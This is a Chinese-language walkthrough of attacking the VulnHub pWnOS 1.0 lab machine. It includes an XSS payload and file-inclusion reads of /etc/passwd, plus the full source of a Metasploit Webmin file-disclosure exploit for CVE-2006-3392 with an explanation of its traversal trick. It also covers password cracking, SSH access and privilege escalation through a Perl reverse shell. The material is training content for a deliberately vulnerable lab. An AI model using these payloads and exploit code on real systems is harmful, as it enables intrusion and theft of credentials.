文章总结: 本文详述VulnHub靶机pWnOS1.0的渗透过程。通过Nmap扫描发现80端口XSS及任意文件读取漏洞,利用10000端口Webmin服务CVE-2006-3392漏洞读取敏感文件。随后使用John工具爆破弱口令获取SSH访问权限,最后利用Webminroot权限特性编写Perl反弹Shell成功提权。展示了完整的渗透测试思路与实战技巧。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞分析,漏洞POC
VulnHub pWnOS: 1.0 靶机 WriteUp
原创
雾島风起時 雾島风起時
星盟安全团队
2026年2月5日 17:10 陕西
加入我们点击下方链接
星盟安全团队纳新计划
项目地址:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本
nmap -sS -sV -sC -p- 192.168.41.202
XSS
name&level(两个反射)
80 端口发现两个 XSS 漏洞,对应的参数是 name 以及 level
<script>alert(66)</script>
返回提交的页面,两个参数都默认为 true
尝试改为 false 时 connect 报错,错误内容是文件包含函数
通过 AI 查询报错信息得知后端接受参数 connect 参数的值必须得为存在的文件名
任意文件读取
connect
推测存在任意文件读取漏洞
传入参数 /etc/passwd 成功读取文件,但是读取不了 /etc/shadow 文件
访问 10000 端口是个 Web 服务
CVE-2006-3392
对于 10000 端口的服务信息尝试搜索 Kali 本地缓存的历史漏洞,有戏
继续使用更为强大的渗透工具 MSF 搜索漏洞模块进行探测
因为第一个 unix/webapp/webmin_show_cgi_exec 发现使用时必须填入账号名密码,但是我们没有
所以切换为第二个 admin/webmin/file_disclosure 尝试
设置目标后成功读取了 etc/passwd 文件
接下来尝试读取 /etc/shadow
脚本源码解析如下
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient
def initialize(info = {}) super( update_info( info, 'Name' => 'Webmin File Disclosure', 'Description' => %q{ A vulnerability has been reported in Webmin and Usermin, which can be exploited by malicious people to disclose potentially sensitive information. The vulnerability is caused due to an unspecified error within the handling of an URL. This can be exploited to read the contents of any files on the server via a specially crafted URL, without requiring a valid login. The vulnerability has been reported in Webmin (versions prior to 1.290) and Usermin (versions prior to 1.220). }, 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '26772'], ['BID', '18744'], ['CVE', '2006-3392'], ['US-CERT-VU', '999601'], ['URL', 'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'], ], 'DisclosureDate' => '2006-06-30', 'Actions' => [ ['Download', { 'Description' => 'Download arbitrary file' }] ], 'DefaultAction' => 'Download', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) )
register_options( [ Opt::RPORT(10000), OptString.new( 'RPATH', [ true, 'The file to download', '/etc/passwd' ] ), OptString.new( 'DIR', [ true, 'Webmin directory path', '/unauthenticated' ] ), ] ) end
def run print_status("Attempting to retrieve #{datastore['RPATH']}...")
dir = normalize_uri(datastore['DIR']) uri = Rex::Text.uri_encode(dir) + '/..%01' * 40 + Rex::Text.uri_encode(datastore['RPATH'])
res = send_request_raw({ 'uri' => uri }, 10)
if res print_status("The server returned: #{res.code} #{res.message}") print(res.body) else print_status('No response from the server') end endend
深入解析 ..%01:
-
..(点点): 正常的上级目录跳转指令 -
%01(空字节 / Null Byte): 这是 ASCII 字符0x01的 URL 编码形式。 -
在早期版本的 Webmin 中,这个字符在路径清理阶段(第一步)不会被移除,因为它不是一个常规的路径分隔符
-
但在最终的文件系统调用之前,Webmin 或底层的系统库可能会将这个不可见的
%01字符剥离或忽略掉,从而只留下一个有效的路径分隔符,如/
弱口令
SSH 登录
使用工具 john 成功爆破出一个密码
SSH 连接时注意切换加密算法,对方是老版的只支持 RSA
ssh -o HostKeyAlgorithms=+ssh-rsa [email protected]
提权
Webmin 反弹 Shell
预期解
接下来去看有没有别的提权方法,查看 /var 发现 webmin 是以 root 运行
同时网站采用 .cgi 通用网关接口的形式,其是支持 Perl 语言的
所以我们可以编写一个 Perl 的反弹 Shell,只需要找到一个可以写的位置并使用文件包含来调用该文件
输入命令导航到指定目录,该 URL 会触发服务器上的 CGI 脚本,从而触发权限提升(参考上面)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星盟安全团队 雾島风起時 雾島风起時《VulnHub pWnOS: 1.0 靶机 WriteUp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论